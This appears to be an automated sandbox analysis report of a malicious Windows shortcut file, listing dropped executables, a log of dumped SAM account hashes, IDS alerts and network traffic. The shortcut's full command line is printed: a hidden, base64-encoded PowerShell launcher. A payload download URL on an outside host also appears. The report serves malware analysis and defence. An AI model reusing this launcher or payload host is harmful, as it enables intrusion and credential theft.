Preview:	L[......................A............................................... ..M. Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/...%.........v...................._...............Z.......Z...............Z.......[.......[......Shbi............QD..e.....Yf..........#....(..F..Q8...............A..........................................a..........................................A..Y...YA..U....a.......................q..................................)...q...A............!^............................./udyu...y&.......)..................!..a/l`o`fde..:..A....:..-..............!..aixes`udey.....I........................./se`u`..MF3..!^..I3...F.............A..A/e`u`........q...o...1{.............A.../qe`u`................{.............A..A/srsb........a.......o~.............A..A/sdmnb.......q.......u~.............A..C........................................................................................................................................................................................

C:\Windows\Temp\log_rdp_11122024_06.txt

Download File

Process:	C:\Windows\Temp\myRdpService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	872
Entropy (8bit):	5.2726955738296
Encrypted:	false
SSDEEP:	24:EcsyMIOjIqoRIVFUIB1IY3IUIIyaIhIkIo7Ie/TRB8TRaOgPJPhAwAV:EcdJ7qouVHEY4RIyDeBpebRmR7aJqrV
MD5:	8602B91BC5FAC86FF46749EF46AB4129
SHA1:	B4DDDAC1F832E3B87E36C6C9675DFAD972C84364
SHA-256:	F78EE82AF627F529E3B74C691B909E248A765B4900069FB0718FC82366E602F0
SHA-512:	38C4BADC2C0621F9D61552531BE95EEB647BCED8B1E1C2F36CA2505D72B976B398DD70183CD8AC58D8AFD477D5FB1DE8E6BF529B68B7FEB4BE845DC096B8ACDF
Malicious:	false
Preview:	18:16:14 - Internet connection..18:16:14 - Begin check server..18:16:21 - Begin connect..18:16:26 - BootKey: D6-AA-4D-99-DC-41-86-C3-63-A1-2C-89-7F-F8-5B-85..18:16:26 - Successfully accessed SAM hive...18:16:26 - Reading usernames and encrypted hashes.....18:16:26 - Administrator..18:16:26 - Guest..18:16:26 - DefaultAccount..18:16:26 - WDAGUtilityAccount..18:16:26 - user..18:16:26 - User1..18:16:26 - SAM_Resolution_1920x1080..18:16:26 - SAM_USER_Administrator\|31d6cfe0d16ae931b73c59d7e0c089c0..18:16:27 - SAM_USER_Guest\|31d6cfe0d16ae931b73c59d7e0c089c0..18:16:27 - SAM_USER_DefaultAccount\|31d6cfe0d16ae931b73c59d7e0c089c0..18:16:28 - SAM_USER_WDAGUtilityAccount\|21A354058DFF20F7943C42B0FDF94216..18:16:28 - SAM_USER_user\|8EB3A1DDA3B8A025E21A55FEA19A1BEC..18:16:29 - SAM_USER_User1\|9D40E39ADEB5D56955BED3470DA6D02C..18:16:46 - detect message PING..18:16:46 - PING..

C:\Windows\Temp\myRdpService.exe

Download File

Process:	C:\Windows\Temp\svczHost.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9429504
Entropy (8bit):	6.889775220697302
Encrypted:	false
SSDEEP:	98304:mfhsbOItDNUaBVthhcT/Fe5Yqa5z1bRT6G0EYd+Tj:HbO8N9BH4ToYqopbRT6GLpj
MD5:	5641F3A5B9787F23D3D34F0D9F791B7A
SHA1:	021867C55B5724C28981F58A9A38DBE298057793
SHA-256:	5744321DFC2240023EF89A8D3A4B57C635FEDFEF0E265F1C8F7971AA9F635C34
SHA-512:	3E96E1675C96A0CEAD3E7294128CB742D7813F65AB55F907D0F447B966BCD086FB533D25D710E9F9CC5C1781D1819C2F2C86DEBBD94A6A901C9A49AB30430E7B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6 ..Xs..Xs..Xs...s..Xs..Yr..Xs..Ys,.Xs..[r..Xs..\r..Xs..]r..Xs..\r..Xs..Xs..Xs..]r.Xs..Xr..Xs..Zr..XsRich..Xs................PE..d.....Xg.........."....).>P...A................@.............................@............`...................................................\|............................ ..L...............................(...P...@.............l..............................text....G.......H.................. ..`.managedX.C..`....C..L.............. ..`hydrated`....`P..........................rdata..`t9...l..v9..BP.............@..@.data....x..........................@....pdata...............>..............@..@.rsrc..............................@..@.reloc..L.... .....................@..B................................................................................................................................................................

C:\Windows\Temp\regBackup.reg

Download File

Process:	C:\Windows\regedit.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	5492
Entropy (8bit):	3.2564408602149646
Encrypted:	false
SSDEEP:	96:0PVJqMXWMRUYSFd5YtU6W66zpVwkP9Odgd8zkFJdlzOkJdB0u1Jd8ui4c4d8zB/H:sVJqgUZ/5+g7P94RgFx9R43Zy1TbZH56
MD5:	A766DECEF71813234AAF41DB4EF5086E
SHA1:	564473B1CB74ED13E820C62F30642836B8D983C6
SHA-256:	8CA780CD4F6488CBBB1B6999D935B4F8352B36B3E2E1E54301875C6483A87535
SHA-512:	C3CF7BADAD40C63C0479DD7A50762968038A9D402E8AE34697F30D09E206D5D090270013504B801EECB82D234280535E21629A6F23F1F04CE1CF2D3EF0C37051
Malicious:	true
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.Y.S.T.E.M.\.C.u.r.r.e.n.t.C.o.n.t.r.o.l.S.e.t.\.S.e.r.v.i.c.e.s.\.T.e.r.m.S.e.r.v.i.c.e.].....".D.e.p.e.n.d.O.n.S.e.r.v.i.c.e.".=.h.e.x.(.7.).:.5.2.,.0.0.,.5.0.,.0.0.,.4.3.,.0.0.,.5.3.,.0.0.,.5.3.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.....".D.e.s.c.r.i.p.t.i.o.n.".=.".@.%.S.y.s.t.e.m.R.o.o.t.%.\.\.S.y.s.t.e.m.3.2.\.\.t.e.r.m.s.r.v...d.l.l.,.-.2.6.7.".....".D.i.s.p.l.a.y.N.a.m.e.".=.".@.%.S.y.s.t.e.m.R.o.o.t.%.\.\.S.y.s.t.e.m.3.2.\.\.t.e.r.m.s.r.v...d.l.l.,.-.2.6.8.".....".E.r.r.o.r.C.o.n.t.r.o.l.".=.d.w.o.r.d.:.0.0.0.0.0.0.0.1.....".F.a.i.l.u.r.e.A.c.t.i.o.n.s.".=.h.e.x.:.8.0.,.5.1.,.0.1.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.3.,.0.0.,.0.0.,.0.0.,.1.4.,.0.0.,.0.0.,.\..... . .0.0.,.0.1.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.,.0.1.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.....".I.m.a.g.e.P.a.t.h.".=.h.e.x.

C:\Windows\Temp\svczHost.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8357376
Entropy (8bit):	6.871261170959167
Encrypted:	false
SSDEEP:	49152:gAolapw+tVy4CZ79cORdCVhYWXnMdI7pz1YoSBrIc7ywciqQMmLdp1sVOFJHluxx:pgacEZyBpu9r/derR2hs/OLYGMIU9+
MD5:	9298A0077E8353244A38CAEFE43AF4CB
SHA1:	155D0C93E1BA7DD7B22228BEC1A030FAE0678398
SHA-256:	B1D69CBC0A2D13B89500D37726AD9E01817C8890262E3CE4A561F82B63708B9A
SHA-512:	34CD8853EEBD3E54393726DF668D5F620EE6AC0FD5967F91A26B2E5F4186CB403A2197D9DE497CB93B3498EBC0E2DF098D122376E0276A15F1D412C7D874D87A
Malicious:	true
Joe Sandbox View:	Filename: MdmRznA6gx.lnk, Detection: malicious, Browse Filename: Cj3OWJHzls.lnk, Detection: malicious, Browse Filename: 3y37oMIUy6.lnk, Detection: malicious, Browse Filename: m9c7iq9nzP.lnk, Detection: malicious, Browse Filename: WXahq3ZEss.lnk, Detection: malicious, Browse Filename: 0A3NB8ot11.lnk, Detection: malicious, Browse Filename: L0jeOoavu4.lnk, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w....................^...............[.......[...............[.......Z.......Z......Rich............PE..d.....Xg.........."....)..G..P9...............@..........................................`..........................................@..X...X@..T....`.......................p..................................(...p...@............ _..............................text...x'.......(.................. ..`.managed..;..@....;..,.............. ..`hydratedx.....H..........................rdata..LG2.. _..H2...G.............@..@.data........p...n...0z.............@....pdata................z.............@..@.rsrc........`.......n..............@..@.reloc.......p.......t..............@..B........................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\Temp\svczHost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.498593025747649
Encrypted:	false
SSDEEP:	3:eDLpHWfPdBEyQOKxxTTy:eDLp2f0yQdTm
MD5:	ECE4F519082641A623917C1F4C1077D5
SHA1:	BE929EB025A5B0B62423AD4F5F7653645E203709
SHA-256:	58C627B4C5EF49764DC49BC6473DEFC740A4D107C4A1FCD3435164AA1D3CCE49
SHA-512:	289F1DE44D01ACDFF7FB88A2BC6857454A56B786283F857A0AAC4F8C2E7202161D2C2DD9B92D71533DDDFF0828A3B93E9411BB1CAE7FF86A3493FF009EC3A45E
Malicious:	false
Preview:	Begin download https://cocomethode.de/StaticFile/RdpService/17..

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=347, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Entropy (8bit):	2.7299351258791704
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	rRtGI3L0ca.lnk
File size:	5'640 bytes
MD5:	30b26aa2e3f3637b2170e45e772b8dad
SHA1:	f753dfb8a8091f53c26e61d1ef5f6d3249dc0953
SHA256:	b241f6ab90c2f509dcbf456ea323924b9739249d9627389934f6210e3bd5452d
SHA512:	01ed615841a4a0677e7dded1955d4ae3e6227f41a3f349e0242be952c29d4b7295991994006c40dfeff5399b8bd33241db6c0e9771c7468019fd4411a2801450
SSDEEP:	96:8LEy8rlMvomw/1LcGqIz2lE5hgcZFLWBcPhBGUAOh2Q:8LEy8rlMvomkBLwcPGrOX
TLSH:	25C1130669E710C8E16787710FDCF9FF477AF4125A2EBAB91040C3818B357849A62DB9
File Content Preview:	L..................F.B..................................[...................5....P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........system32..B.....................

File Icon


Icon Hash:	69e9a9a9a3a3a1a5

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\..\..\Windows\system32\cmd.exe
Command Line Argument:	/v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit
Icon location:	%SystemRoot%\System32\imageres.dll

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-11T12:14:24.859241+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.30	49813	96.7.218.33	443	TCP
2024-12-11T12:14:26.506019+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49814	172.67.128.139	443	TCP
2024-12-11T12:14:28.701098+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49816	172.67.128.139	443	TCP
2024-12-11T12:14:30.435575+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49818	172.67.128.139	443	TCP
2024-12-11T12:14:53.857220+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49832	172.67.128.139	443	TCP
2024-12-11T12:15:28.325262+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.30	49838	96.7.218.33	443	TCP
2024-12-11T12:16:07.357928+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.30	49840	172.67.128.139	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 12:14:23.520165920 CET	49812	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:23.520180941 CET	443	49812	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:23.521330118 CET	49812	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:23.532048941 CET	49812	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:23.532056093 CET	443	49812	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:23.768521070 CET	443	49812	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:23.768686056 CET	49812	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:23.772058964 CET	49812	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:23.772064924 CET	443	49812	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:23.772231102 CET	443	49812	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:23.780314922 CET	49812	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:23.822204113 CET	443	49812	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:24.353362083 CET	443	49812	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:24.353431940 CET	443	49812	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:24.353549957 CET	443	49812	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:24.353625059 CET	443	49812	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:24.353634119 CET	49812	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:24.353641987 CET	443	49812	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:24.353801012 CET	49812	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:24.353806019 CET	443	49812	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:24.353837013 CET	443	49812	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:24.353972912 CET	49812	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:24.484159946 CET	49812	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:25.685777903 CET	49814	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:25.685807943 CET	443	49814	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:25.686038971 CET	49814	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:25.686386108 CET	49814	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:25.686398029 CET	443	49814	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:25.920689106 CET	443	49814	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:25.922148943 CET	49814	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:25.922163963 CET	443	49814	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:26.505991936 CET	443	49814	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:26.506036997 CET	443	49814	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:26.506071091 CET	443	49814	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:26.506145954 CET	443	49814	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:26.506192923 CET	49814	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:26.506464958 CET	49814	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:26.524848938 CET	49814	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:26.641753912 CET	49815	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:26.641773939 CET	443	49815	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:26.642007113 CET	49815	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:26.642292976 CET	49815	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:26.642307043 CET	443	49815	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:26.877537966 CET	443	49815	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:26.882422924 CET	49815	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:26.882447004 CET	443	49815	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:26.882697105 CET	49815	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:26.882714033 CET	443	49815	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:27.486397982 CET	443	49815	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:27.486504078 CET	443	49815	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:27.486709118 CET	49815	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:27.487045050 CET	49815	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:27.534132957 CET	49816	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:27.534167051 CET	443	49816	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:27.534367085 CET	49816	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:27.534641981 CET	49816	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:27.534658909 CET	443	49816	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:27.770075083 CET	443	49816	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:27.771334887 CET	49816	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:27.771346092 CET	443	49816	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:28.701082945 CET	443	49816	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:28.701160908 CET	443	49816	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:28.701210976 CET	443	49816	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:28.701313019 CET	443	49816	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:28.701349974 CET	49816	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:28.701514959 CET	49816	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:28.720154047 CET	49816	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:28.747454882 CET	49817	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:28.747488976 CET	443	49817	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:28.747752905 CET	49817	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:28.747966051 CET	49817	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:28.747984886 CET	443	49817	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:28.985387087 CET	443	49817	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:28.986273050 CET	49817	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:28.986295938 CET	443	49817	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:28.986495018 CET	49817	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:28.986516953 CET	443	49817	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:29.561283112 CET	443	49817	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:29.561381102 CET	443	49817	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:29.561615944 CET	49817	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:29.561893940 CET	49817	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:29.581474066 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:29.581515074 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:29.581732035 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:29.581953049 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:29.581984043 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:29.817435026 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:29.819104910 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:29.819132090 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.435554981 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.435606003 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.435668945 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.435705900 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.435762882 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.435817957 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:30.435831070 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.435908079 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:30.436077118 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:30.671956062 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.671987057 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.672524929 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.672548056 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.672641993 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:30.672653913 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.672771931 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:30.672878027 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:30.673132896 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.673408985 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:30.673419952 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.724901915 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:30.911520004 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.911551952 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.911746979 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:30.911756992 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.912117958 CET	443	49818	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:30.912290096 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:30.923052073 CET	49818	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:31.492316961 CET	49819	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:31.492340088 CET	443	49819	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:31.492507935 CET	49819	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:31.492661953 CET	49819	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:31.492670059 CET	443	49819	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:31.726983070 CET	443	49819	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:31.728194952 CET	49819	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:31.728209019 CET	443	49819	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:31.728504896 CET	49819	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:31.728514910 CET	443	49819	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:32.341517925 CET	443	49819	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:32.341583967 CET	443	49819	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:32.341722965 CET	49819	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:32.341979980 CET	49819	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:32.414680004 CET	49820	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:32.414709091 CET	443	49820	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:32.414967060 CET	49820	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:32.415175915 CET	49820	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:32.415195942 CET	443	49820	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:32.649753094 CET	443	49820	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:32.651443958 CET	49820	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:32.651464939 CET	443	49820	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:32.651985884 CET	49820	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:32.651999950 CET	443	49820	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.163990021 CET	49821	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.164011002 CET	443	49821	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.164140940 CET	49821	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.166549921 CET	49821	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.166560888 CET	443	49821	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.400892019 CET	443	49821	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.401110888 CET	49821	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.402416945 CET	49821	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.402427912 CET	443	49821	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.402672052 CET	443	49821	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.404828072 CET	49821	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.446249962 CET	443	49821	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.492499113 CET	443	49820	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.492537022 CET	443	49820	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.492691994 CET	49820	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.493000031 CET	49820	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.542627096 CET	49822	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.542644978 CET	443	49822	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.542896986 CET	49822	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.543039083 CET	49822	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.543045044 CET	443	49822	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.776145935 CET	443	49822	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.776999950 CET	49822	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.777004957 CET	443	49822	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.777122021 CET	49822	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:33.777131081 CET	443	49822	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:33.975703001 CET	443	49821	172.67.128.139	192.168.11.30
